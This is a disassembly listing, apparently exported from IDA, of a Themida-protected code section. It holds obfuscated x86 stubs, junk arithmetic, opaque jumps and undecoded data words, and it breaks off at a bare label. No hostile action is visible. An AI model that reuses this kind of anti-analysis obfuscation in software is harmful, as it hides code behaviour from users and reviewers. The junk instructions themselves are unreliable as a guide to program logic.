		dd 2C0559C8h, 0E9645F1Dh, 3E4h,	0FF94E0E9h, 5251ADFFh
		dd 0EA08B4BAh, 3406B90Bh, 0D1315349h, 0D20BE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A71A:				; CODE XREF: Themida_:0055A033j
		neg	ebp
		neg	ebp
		xor	ebp, 9928968Dh
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 4E074BA7h
		add	ebx, 2AA518E8h
		and	ebx, 34547897h
		shr	ebx, 1
		xor	ebx, 20C0Ch
		jmp	loc_556D19
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 96E92424h, 1FFFF94h,	34EA81DAh, 5B45AE43h, 5C241487h
		dd 9C240400h, 2E39E9h, 40500h, 28E90000h, 66FFFFF7h, 526B045Bh
		dd 2E07E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A779:				; CODE XREF: Themida_:0055EFCBj
		sub	ebp, esi
		pop	esi
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_55E222
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5C243487h, 5124048Fh, 0F7241C87h, 241C87D3h,	240C3159h
		dd 0E9240C33h, 83Dh, 4B850h, 0C1010000h, 4C18158h, 33000000h
		dd 0C31240Ch, 240C3324h, 0FF24248Bh, 48B2434h, 4C48124h
		dd 0E9000000h, 0FFFFD6A7h, 4246C29h, 0FFCE58E9h, 24348BFFh
		dd 4C481h, 0B9510000h, 72F804F3h, 0FFB750E9h, 2434FFFFh
		dd 592434FFh, 4C481h, 89560000h, 0CDE955E6h, 81000047h
		dd 0C077FEE9h, 31BA5242h, 816D1949h, 646167C1h,	81D1295Fh
		dd 646167E9h, 1EA9E95Fh, 0F4880000h, 0FFB5F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A831:				; CODE XREF: Themida_:00559B38j
		mov	dl, ch
		jmp	loc_5596BD
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_554B5B
; ---------------------------------------------------------------------------
		dd 0FF93A0E9h, 4C483FFh, 3F1DCE81h, 0CE81742Bh,	6B6E00A7h
		dd 90EF681h, 0BA5201DDh, 0A876F69h, 0F706EAC1h,	54EAE9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A86A:				; CODE XREF: Themida_:0055ADE6j
		add	edx, ecx
		pop	ecx
		jmp	loc_554271
; ---------------------------------------------------------------------------


loc_55A872:				; CODE XREF: Themida_:00554328j
		sub	esp, 4
		jmp	loc_554B47
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 2434FF04h, 0FFC240E9h, 241C89FFh, 0FFBF0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A891:				; CODE XREF: Themida_:00555C01j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5570EE
; ---------------------------------------------------------------------------


loc_55A89C:				; CODE XREF: Themida_:0055B713j
		pop	ecx
		xor	esi, edx
		mov	edx, [esp]
		jmp	loc_557C53
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 24048900h, 8EA68h, 24248900h, 4240481h
		dd 58000000h, 66F68h, 241C8900h, 0D05FD4BBh, 5EBC106h
		dd 0EBC1DBF7h, 81D3F705h, 1C3h,	0BFB5E900h, 48BDFFFFh
		dd 8165FE47h, 766342E5h, 0C3ED813Ah, 0C143F74Ah, 814D02EDh
		dd 4CA7D2C5h, 5DE989F8h, 0C981D1F7h, 2E633931h,	44C5C181h
		dd 0CA01010Ch, 4DCEE9h,	2864B600h, 0AD91E9F4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A922:				; CODE XREF: Themida_:0055718Bj
		push	ebp
		push	53B7h
		mov	[esp], edi
		mov	edi, 4802741Bh
		sub	edi, 33F30211h
		sub	edi, 1
		and	edi, 24C647B0h
		xchg	eax, edi
		dec	eax
		xchg	eax, edi
		shl	edi, 7
		sub	edi, 320FF7Fh
		push	esi
		mov	esi, edi
		mov	ebp, esi
		pop	esi
		pop	edi
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		add	[ecx], ebp
		pop	ecx
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		jmp	loc_557BAF
; ---------------------------------------------------------------------------
		dd 0E95BDA01h, 0FFFFFDCBh, 4C481h, 0B60F0000h, 8734FFC0h
		dd 1F65E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A996:				; CODE XREF: Themida_:0055F7D7j
		add	ebp, edi
		sub	ebp, 242A678Fh
		pop	edi
		shl	ebp, 8
		push	ecx
		mov	ecx, 3C46683Fh
		xor	ebp, ecx
		pop	ecx
		dec	ebp
		not	ebp
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 10647AC2h
		and	eax, ebp
		jmp	loc_55CC73
; ---------------------------------------------------------------------------
		dw 16B8h
		dd 89519F3Ah, 51B858C3h, 31519A03h, 241C8BD8h, 57E08950h
		dd 0D76D5368h, 0B9515F75h, 75D76D57h, 2D59CF31h, 6C040D9Eh
		dd 9E05F801h, 5F6C040Dh, 0E904C083h, 0FFFF9290h, 4C481h
		dd 91E90000h, 8BFFFFCFh, 0EC815808h, 4,	0E9241489h, 0FFFFD4EBh
; ---------------------------------------------------------------------------


loc_55AA14:				; CODE XREF: Themida_:00557B66j
		popf
		retn
; ---------------------------------------------------------------------------
		dw 0CAE9h
		dd 81FFFF91h, 0FE254DEBh, 81C32927h, 0FE254DC3h, 0D3015827h
		dd 0A9FC381h, 148B4F08h, 4C48124h, 29000000h, 4EC83C3h
		dd 57240489h, 55B9E68h,	0EEE95F6Ch, 51FFFFC0h, 0FFE939E9h
		dd 5B5453FFh, 4C381h, 0C3810000h, 4, 0FFC398E9h, 8734FFFFh
		dd 0FF2434FFh, 48B2434h, 4C48324h, 3F8868h, 24148900h
		dd 0A6E9E289h, 8900002Dh, 6F895AD5h, 5BE95D20h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA93:				; CODE XREF: Themida_:00557AE2j
		push	ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56021A
; ---------------------------------------------------------------------------
		dd 3A05E801h, 682B2569h, 57BEh,	0E9240C89h, 1CCFh
; ---------------------------------------------------------------------------


loc_55AAC8:				; CODE XREF: Themida_:00557B30j
		mov	dl, bl
		pop	ebx
		add	al, 21h
		add	al, dl
		jmp	loc_55639B
; ---------------------------------------------------------------------------
		dd 23613A05h, 617E93Ah,	0E95D0000h, 22EAh, 22F12D48h, 0EA816B22h
		dd 1FCC19BCh, 2319E9h, 0FFC38900h, 0AFE92434h, 89FFFFF7h
		dd 4C581E5h, 0E9000000h, 1A7Dh,	0D6F7DEF7h, 20E9DEF7h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB17:				; CODE XREF: Themida_:00558D6Ej
		mov	dx, [esp]
		push	788Ch
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	6B84h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		push	4A035722h
		pop	ebx
		push	ebx
		dec	dword ptr [esp]
		pop	ebx
		or	ebx, 7DB33D43h
		neg	ebx
		sub	ebx, 804C8099h
		mov	esi, ebx
		pop	ebx
		jmp	loc_554872
; ---------------------------------------------------------------------------
		db 89h
		dd 24348BF5h, 4C481h, 0BE560000h, 4D453E83h, 0E95EF289h
		dd 0FFFFF81Fh, 8159CA01h, 0EC6E6CF2h, 2304E940h, 0C0FE0000h
		dd 5718E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AB85:				; CODE XREF: Themida_:005560C4j
		shl	ebx, 6
		xor	ebx, 0AC46E9F5h
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_55D50D
; ---------------------------------------------------------------------------
		dw 5B5Eh
		dd 0FFE612E9h, 59CA01FFh, 28CE9h, 91EE8100h, 8141052Bh
		dd 9D50F0C6h, 0C6814E7Bh, 0FD4CAD70h, 348BF789h, 0A92DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ABC2:				; CODE XREF: Themida_:00558347j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	esi
		mov	esi, 0D53CC543h
		sub	ebp, esi
		pop	esi
		sub	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5562B4
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4EC81h, 2C890000h, 0A5BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ABF6:				; CODE XREF: Themida_:00555E8Bj
		push	esp
		jmp	loc_556109
; ---------------------------------------------------------------------------


loc_55ABFC:				; CODE XREF: Themida_:00558846j
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5589B9
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 0C0C2FE8Bh, 6AE908E2h, 66000056h, 6824048Bh,	4300h
		dd 89243489h, 4C681E6h,	68000000h, 1B4Bh, 50241C89h, 2B8h
		dd 0E3895300h, 4C381h, 0EB810000h, 4, 254DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AC4D:				; CODE XREF: Themida_:00557E6Dj
		push	esi
		push	eax
		push	1
		pop	eax
		jmp	loc_554E48
; ---------------------------------------------------------------------------
		dw 0FEB8h
		dd 0E97C630Fh, 0FFFFDAB7h, 4BFh, 5FF80100h, 5C240487h
		dd 32242C81h, 1533D70h,	0BE562404h, 533D7032h, 4247401h
		dd 0EB36E95Eh, 0D088FFFFh, 0E3E9C388h, 800004Ah, 148B66F3h
		dd 203EE924h, 0BA520000h, 3E1A15DAh, 1EA81h, 0BE560000h
		dd 0FFFFFFFFh, 815EF201h, 622B8FCAh, 53E94223h,	6800003Bh
		dd 681Bh, 56242C89h, 0DA5BF0BEh, 5EF58907h, 4246C01h, 24048B5Dh
		dd 4C481h, 0F02D0000h, 8B07DA5Bh, 0C4812434h, 4, 612468h
		dd 243C8900h, 1A7768h, 24148900h, 0C31480BAh, 2A71E946h
		dd 0E3800000h, 80CBFEA4h, 0C380BDE3h, 5BD800EDh, 1588E9h
		dd 37576800h, 24890000h, 2A9BE924h, 0C4830000h,	0E1895104h
		dd 4C181h, 87E90000h, 5200001Dh, 324050BAh, 15EA8136h
		dd 0E905A5DCh, 424Dh
; ---------------------------------------------------------------------------


loc_55AD48:				; CODE XREF: Themida_:0055E25Aj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_557520
; ---------------------------------------------------------------------------
		db 29h
		dd 0FEEB81CBh, 8B51881Ch, 0C481240Ch, 4, 0EC83C329h, 0F414E904h
		dd 8F66FFFFh, 8E6BE902h, 34FFFFFFh, 8E63E987h, 0F380FFFFh
		dd 4567E9F1h, 34FF0000h, 24048B24h, 4C481h, 54550000h
		dd 53242C8Bh, 0FF9A54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ADA1:				; CODE XREF: Themida_:0055C3ABj
		mov	ecx, [eax]
		pop	eax
		push	edi
		push	1269h
		mov	[esp], eax
		push	69AF3E75h
		pop	eax
		push	ebx
		mov	ebx, 785E1240h
		shl	ebx, 3
		push	esi
		mov	esi, 3626100Fh
		add	esi, 78E12382h
		neg	esi
		not	esi
		dec	esi
		neg	esi
		add	esi, 0E0EE690Eh
		xor	ebx, esi
		pop	esi
		jmp	loc_555DEF
; ---------------------------------------------------------------------------


loc_55ADDD:				; CODE XREF: Themida_:0055D904j
		xor	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, 5D976AA6h
		jmp	loc_55A86A
; ---------------------------------------------------------------------------


loc_55ADEB:				; CODE XREF: Themida_:0055ED5Dj
		add	eax, ebx
		jmp	loc_55C3AA
; ---------------------------------------------------------------------------


loc_55ADF2:				; CODE XREF: Themida_:0055DBACj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_558EA8
		push	edx
		mov	edx, 28h
		sub	edx, 66F5CA8h
		add	edx, edi
		push	eax
		push	ecx
		push	268F4110h
		pop	ecx
		or	ecx, 0BD31913h
		add	ecx, 0D6900395h
		jmp	loc_55C504
; ---------------------------------------------------------------------------
		db 52h,	0FFh, 74h
		dd 8F5A0424h, 248B2404h, 4C48324h, 3F36E9h, 243C8700h
		dd 2161E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AE4D:				; CODE XREF: Themida_:0055B614j
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	esi, [esp]
		jmp	loc_55A58A
; ---------------------------------------------------------------------------
		db 81h
		dd 9C261CE9h, 81C10133h, 9C261CC1h, 1E48E933h, 53AC0000h
		dd 81E78957h, 4C7h, 38FCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AE92:				; CODE XREF: Themida_:0055B730j
		pop	esi
		push	ebp
		mov	ebp, 4
		jmp	loc_5560A4
; ---------------------------------------------------------------------------


loc_55AE9E:				; CODE XREF: Themida_:00558D44j
		pop	ebp
		jmp	loc_5603E5
; ---------------------------------------------------------------------------


loc_55AEA4:				; CODE XREF: Themida_:00556880j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_554316
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 81000000h,	4C2h, 74FF5200h, 0E95A0424h, 4A84h
		dd 0E903E5C1h, 0FFFFB5FBh, 0C681E689h, 4, 0E904EC83h, 4D6Eh
		dd 0FF243489h, 5E042474h, 0E924048Fh, 0FFFFADF8h
; ---------------------------------------------------------------------------


loc_55AEF0:				; CODE XREF: Themida_:00555F0Dj
		add	eax, ecx
		push	edx
		jmp	loc_558613
; ---------------------------------------------------------------------------
		dd 7F18B866h, 0E87E0566h, 0FFCE12E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AF05:				; CODE XREF: Themida_:005570CCj
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_55F8C6
; ---------------------------------------------------------------------------
		db 5, 0D9h, 1Eh
aOns		db 'oné&:',0
		dw 8100h
		dd 0AA605EEAh, 4E2C12Eh, 4437EA81h, 0F281687Ah,	14A1699Ah
		dd 58AEB850h, 62D2889h,	403EBD03h, 77A93548h, 78E9D555h
		dd 53000039h, 0DB19E9BBh, 0E9DE2931h, 4523h, 63B7A68h
		dd 22055E05h, 2D1F882Ah, 65E6185Ah, 5A05F001h, 2D65E618h
		dd 1F882A22h, 0BABD555Eh, 0E917AC12h, 0FFFFCBC5h, 4431E95Eh
		dd 2BB0000h, 0E9000000h, 112Bh,	5B88ED81h, 0E5811F4Dh
		dd 362464B9h, 0EDC1D5F7h, 0D7BEE907h, 0BF66FFFFh, 0BA664810h
		dd 8166662Bh, 534600EAh, 1E21E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AFBD:				; CODE XREF: Themida_:00554FC7j
		push	657Dh
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_55FF4D
; ---------------------------------------------------------------------------
		dd 8C0BE95Fh, 815FFFFFh, 9B1394F7h, 5FFB896Ch, 0FFC52CE9h
		dd 240C31FFh, 2100E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AFF1:				; CODE XREF: Themida_:00557813j
		push	6770547Dh
		mov	edi, [esp]
		add	esp, 4
		xor	[esp+4], edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		pop	ecx
		push	ebp
		mov	ebp, 6770547Dh
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 26C16346h
		sub	edx, 1
		sub	edx, 7B1D5A90h
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shl	edx, 6
		push	ebp
		push	ecx
		mov	ecx, 0BE54401h
		jmp	loc_55D6D2
; ---------------------------------------------------------------------------


loc_55B070:				; CODE XREF: Themida_:00557535j
		pop	esp


loc_55B071:				; CODE XREF: Themida_:0055C337j
		sub	esp, 4
		jmp	loc_55FF95
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9830000h, 240C3304h, 33240C31h, 49E9240Ch
		dd 56000018h, 128A68h, 24148900h, 1A54E9h, 5BD90800h, 0FFBE00E9h
		dd 95E9ADFFh, 88FFFFE7h, 0E9F988E7h, 43B5h, 6823F681h
		dd 0F00166D5h, 311E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B0C6:				; CODE XREF: Themida_:0055CBD8j
		pop	edx
		mov	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		mov	[edi+eax*4+1], dh
		mov	edx, [esp]
		jmp	loc_55BEB1
; ---------------------------------------------------------------------------


loc_55B0DF:				; CODE XREF: Themida_:00554A3Bj
		sub	dword ptr [esp+4], 49E4524h
		jmp	loc_55EC26
; ---------------------------------------------------------------------------
		dd 5C241487h, 0FF9F95E9h, 49B72DFFh, 0C7019098h, 0B2C6E958h
		dd 0DEE9FFFFh, 0E9FFFF8Ah, 0FFFF8AD9h, 0B468F92Ch, 89000009h
		dd 8956240Ch, 4C681E6h,	81000000h, 4EEh, 5277E900h, 1660000h
		dd 348B66F3h, 0ADE95724h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55B137:				; CODE XREF: Themida_:0055D9E0j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	ecx, 23CA1650h
		add	ecx, edi
		jmp	loc_55DBC2
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 76682404h, 89000028h, 5E542434h, 0FFCB83E9h,	241C33FFh
		dd 0FF9C73E9h, 418F68FFh, 2C890000h, 2474FF24h,	2434FF04h
		dd 0E9242C8Bh, 0FFFF8AA4h, 4BE56h, 0C7810000h, 1E9F3A13h
		dd 4080E9h, 2DF80100h, 7A5D5417h, 0E92434FFh, 4BEBh, 2474FF55h
		dd 48F5D04h, 0CD35C24h,	32E99C24h, 59FFFF8Ah, 78CFBD55h
		dd 0D5F70725h, 747FCD81h, 0C5817D85h, 12F04BC5h, 0CD3CC581h
		dd 0E8010B68h, 0E9E8295Dh, 0FFFF9575h, 679368h,	24248900h
		dd 8904EC83h, 0E955240Ch, 0FA6h, 468h, 0CF295900h, 243C8759h
		dd 0BE3E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B1FD:				; CODE XREF: Themida_:005586DDj
		add	esp, 4
		shr	ecx, 7
		push	4B82h
		jmp	loc_55804E
; ---------------------------------------------------------------------------
		db 57h,	68h, 7Fh
		dd 0E900001Eh, 45C4h, 0FF89C8E9h, 7D3BBAFFh, 36E91FF7h
		dd 89FFFFF2h, 24148BD5h, 81E28952h, 4C2h, 94B85000h, 4800E33Fh
		dd 0EE34310Dh, 48790576h, 282D6269h, 1D95888h, 148758C2h
		dd 0EE815C24h, 5CD4539Ch, 6DE9EE01h, 89FFFF9Dh,	2BD242Ch
		dd 0E9000000h, 1158h, 431D0F7h,	24043324h, 440E9h, 1C77FF00h
		dd 0D359669Dh, 0E99C241Ch, 0FFFF895Dh
; ---------------------------------------------------------------------------


loc_55B288:				; CODE XREF: Themida_:0055DC01j
		pop	edi
		jmp	loc_558B9B
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 306E924h, 0C6800000h, 8BF300AAh, 0C4832414h,	0E9C32804h
		dd 0FFFFB3CFh, 505552ADh, 2B568DB8h, 40D0F74Ah,	0FF9436E9h
		dd 243C89FFh, 131E959h,	0F8310000h, 7B355Fh, 0C6016778h
		dd 4EE8358h, 0E9243487h, 0FFFFAF85h, 68242C89h,	2065h
		dd 81242489h, 42404h, 0E95D0000h, 0FFFFF0D8h, 99E9028Fh
		dd 29000036h, 0C7015FF8h, 2434FF58h, 0F67EE958h, 0D3F6FFFFh
		dd 8039CB80h, 0D9307CEBh, 0CE88525Bh, 595AF488h, 0FFB853E9h
		dd 241C8BFFh, 8104C483h, 4C4h, 4C48300h, 8A868h, 24148900h
		dd 4EC81h, 0C890000h, 1D03B924h, 0C1817885h, 89415146h
		dd 0C8BCA89h, 4C48124h,	0E9000000h, 0FFFFD2ECh,	5A5B038Bh
		dd 231A68h, 243C8900h, 168h, 2434FF00h,	5F2434FFh, 8104C483h
		dd 4C4h, 0E9F82100h, 3772h, 8B243487h, 0C7812424h, 4, 0FBF8E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B392:				; CODE XREF: Themida_:00556074j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		xor	eax, 1EE25BC5h
		jmp	loc_559F05
; ---------------------------------------------------------------------------
		db 89h
		dd 9B9240Ch, 29685559h,	32E959CAh, 66FFFF88h, 5524048Bh
		dd 0FFF1F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B3BD:				; CODE XREF: Themida_:00554762j
		push	eax
		pushf
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 4C48300h, 21E9C831h, 57FFFFC2h, 0FFF887E9h
		dd 81FA87FFh, 8062ABE2h, 20BD554Eh, 31582909h, 7FE95DEAh
		dd 0FFFFFFEEh, 0C9E92434h, 5EFFFFFFh, 3A13E9h, 8D055D00h
		dd 0E938B358h, 9E9h, 3BFBE954h,	8B660000h, 0EC812404h
		dd 4, 89242C89h, 5E5456E5h, 4C681h, 0EE810000h,	4, 0E9243487h
		dd 0FFFF8A2Ah, 2C7815Ah, 57000000h, 42474FFh, 0FFA300E9h
		dd 4C483FFh, 0D8E9C601h, 0F6FFFFBBh, 0F3C280DAh, 285AD028h
		dd 4106E9D8h, 4330000h,	24043124h, 0FFCC12E9h, 243433FFh
		dd 0E9243431h, 0FFFFA22Ch, 5B04C483h, 2C281h, 14330000h
		dd 24143124h, 8B241433h, 24D22424h, 44E99C24h, 0B9FFFFBCh
		dd 4, 3359CD01h, 2C31242Ch, 242C3324h, 8737E95Ch, 0E089FFFFh
		dd 4BB53h, 0DAE90000h, 81FFFFB9h, 4C4h,	243C3300h, 33243C31h
		dd 248B243Ch, 0BE0F6624h, 0DF6866C8h, 0C89665Ch, 8707E924h
		dd 805BFFFFh, 0D9F6DCE9h, 0C180D9F6h, 4DFEE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B4EE:				; CODE XREF: Themida_:00560186j
		neg	ebx
		and	ebx, 295C7975h
		inc	ebx
		add	ebx, 1
		jmp	loc_557F31
; ---------------------------------------------------------------------------


loc_55B502:				; CODE XREF: Themida_:00554109j
		sub	eax, ecx
		pop	ecx
		sub	eax, edx
		add	eax, 4B1A05CAh
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		jmp	loc_560181
; ---------------------------------------------------------------------------
		db 0ACh
		dd 8956D830h, 4C681E6h,	83000000h, 348704EEh, 1FE95C24h
		dd 0ACFFFFBFh, 26044E2Ch, 0A15E9h, 240C8900h, 353A7DB9h
		dd 81D9F73Dh, 0D8583DE9h, 1EE94938h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B557:				; CODE XREF: Themida_:00559F0Fj
		mov	eax, 7E787D63h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 93C32EAh
		sub	eax, 50AD253Ah
		sub	eax, esi
		add	eax, 50AD253Ah
		pop	esi
		push	edx
		mov	edx, 753C4A78h
		sub	eax, edx
		pop	edx
		push	7FA3h
		mov	[esp], edx
		mov	edx, eax
		push	edx
		jmp	loc_556BCA
; ---------------------------------------------------------------------------
		dd 0C1FED1F6h, 0E954C980h, 0FFFFC287h, 4BDh, 0DFCAE900h
		dd 46BDFFFFh, 0E97B2D4Eh, 0FFFFCFD1h
; ---------------------------------------------------------------------------


loc_55B5B0:				; CODE XREF: Themida_:00556C50j
		pop	esp
		mov	[esp], edi
		mov	edi, 2000h
		jmp	loc_555C4B
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0D1BAE924h, 505AFFFFh, 4B8h,	58C20100h, 1097B951h, 0C9812A6Fh
		dd 3734B97h, 5B95E981h,	0EC812B7Fh, 4, 0BB241C89h, 20216755h
		dd 5AC1EA81h, 0DA017F7Fh, 5AC1C281h, 15B7F7Fh, 9EDE9CAh
		dd 0E6890000h, 0FFC75FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B60D:				; CODE XREF: Themida_:0055FF07j
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_55AE4D
; ---------------------------------------------------------------------------
		dd offset loc_41C567+1
		align 2
		dw 0C89h
		dd 0E9E18924h, 29Fh, 4EC81h, 14890000h,	80A6B624h, 0F4008CEEh
		dd 3BE5E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B63E:				; CODE XREF: Themida_:0055D0DAj
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		jmp	loc_55E4DE
; ---------------------------------------------------------------------------


loc_55B64A:				; CODE XREF: Themida_:0055861Ej
		add	edx, eax
		jmp	loc_55738C
; ---------------------------------------------------------------------------
		db 0BDh, 8Eh, 76h
		dd 89525371h, 4C281E2h,	83000000h, 148704EAh, 0C895C24h
		dd 0D62CB924h, 9AE9F1A4h, 2C00001Ah, 4EC81AEh, 89000000h
		dd 0B9B62414h, 0E9FAEE80h, 0FFFF9268h
; ---------------------------------------------------------------------------


loc_55B688:				; CODE XREF: Themida_:00557801j
					; Themida_:0055F8CFj
		push	edi
		mov	edi, ebx
		push	edx
		mov	edx, edi
		jmp	loc_55C5EB
; ---------------------------------------------------------------------------
		db 68h
		dd 76A3h, 55243C89h, 0E50C4EBDh, 0B8504D62h, 62071EFAh
		dd 5058C521h, 287FE9h, 240C8900h, 39F8E9h, 24043100h, 5F2434FFh
		dd 0FFF333E9h, 4EC83FFh, 57241489h, 5F551EBFh, 92BF5732h
		dd 89E8E59Ch, 0FA015FFAh, 3AC82D5Fh, 0BA526410h, 21A55309h
		dd 1512E9h, 0AB0F6600h,	0E99C2404h, 0FFFF9615h
; ---------------------------------------------------------------------------


loc_55B6F8:				; CODE XREF: Themida_:00555532j
		pop	eax
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		jmp	loc_554BEB
; ---------------------------------------------------------------------------


loc_55B70B:				; CODE XREF: Themida_:00555A29j
		push	ecx
		mov	ecx, 4A37F12Ch
		sub	edx, ecx
		jmp	loc_55A89C
; ---------------------------------------------------------------------------
		dd 5166BEB3h, 0EB8010B5h, 0E9EB288Ch, 0FFFF9BC7h
; ---------------------------------------------------------------------------


loc_55B728:				; CODE XREF: Themida_:0055E95Bj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_55AE92
; ---------------------------------------------------------------------------
		db 5Ah,	5, 0EAh
		db '%Ý"h,`',0
		align 10h
		dd 0FFC0F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B745:				; CODE XREF: Themida_:00557CC6j
		sub	ebp, 0FFFFFFFFh
		xchg	edx, ebp
		not	edx
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56002B
; ---------------------------------------------------------------------------


loc_55B75B:				; CODE XREF: Themida_:005568C4j
		mov	[esp], eax
		mov	eax, 252A71C3h
		sub	[esp+4], eax
		pop	eax
		add	[esp], eax
		jmp	loc_55EE70
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0F8892404h, 0FFF378E9h, 4C8505FFh, 8F0515F0h
		dd 533C8023h, 43E9E389h, 5600002Ah, 15FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B795:				; CODE XREF: Themida_:00558428j
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55758D
; ---------------------------------------------------------------------------
		dw 4368h
		dd 89000004h, 0BD552404h, 6AB91660h, 4246C31h, 2434FF5Dh
		dd 4C48358h, 4796E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B7C5:				; CODE XREF: Themida_:0055FE9Aj
		add	esp, 4
		push	3715h
		mov	[esp], ecx
		mov	ecx, 4000h
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_55CD1F
; ---------------------------------------------------------------------------


loc_55B7E2:				; CODE XREF: Themida_:00555245j
		push	2A62h
		mov	[esp], ecx
		jmp	loc_558815
; ---------------------------------------------------------------------------
		db 21h
		dd 0C6E5E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B7F6:				; CODE XREF: Themida_:005586C6j
		mov	ebx, 49B4662Ah
		mov	edx, ebx
		jmp	loc_5592A6
; ---------------------------------------------------------------------------


loc_55B802:				; CODE XREF: Themida_:0055D683j
		xor	eax, ecx
		push	3D62h
		mov	[esp], eax
		push	edi
		mov	edi, esp
		jmp	loc_555586
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFFDFCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B81D:				; CODE XREF: Themida_:00557C8Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	al, 0CEh
		jmp	loc_5592C1
; ---------------------------------------------------------------------------


loc_55B834:				; CODE XREF: Themida_:0055EA34j
